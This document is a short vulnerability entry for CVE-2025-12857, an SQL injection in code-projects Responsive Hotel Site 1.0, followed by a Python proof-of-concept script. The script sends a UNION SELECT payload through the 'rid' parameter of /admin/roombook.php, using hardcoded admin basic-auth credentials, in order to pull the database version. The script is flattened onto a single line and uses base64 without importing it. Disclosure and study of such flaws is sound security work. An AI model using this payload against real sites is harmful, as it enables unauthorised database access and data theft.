CVE-2025-12857: code-projects Responsive Hotel Site 1.0 SQL注入漏洞

# CVE-2025-12857 SQL Injection PoC # Target: /admin/roombook.php # Parameter: rid # Authentication: Required (High Privileges) import requests import sys target_url = "http://target.com/admin/roombook.php" # SQL Injection payload for extracting database version payload = {"rid": "1' UNION SELECT NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL-- -"} # Basic authentication headers (admin credentials) headers = { "Authorization": "Basic " + base64.b64encode(b"admin:password").decode() } try: response = requests.post(target_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {target_url}") print(f"[+] Status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")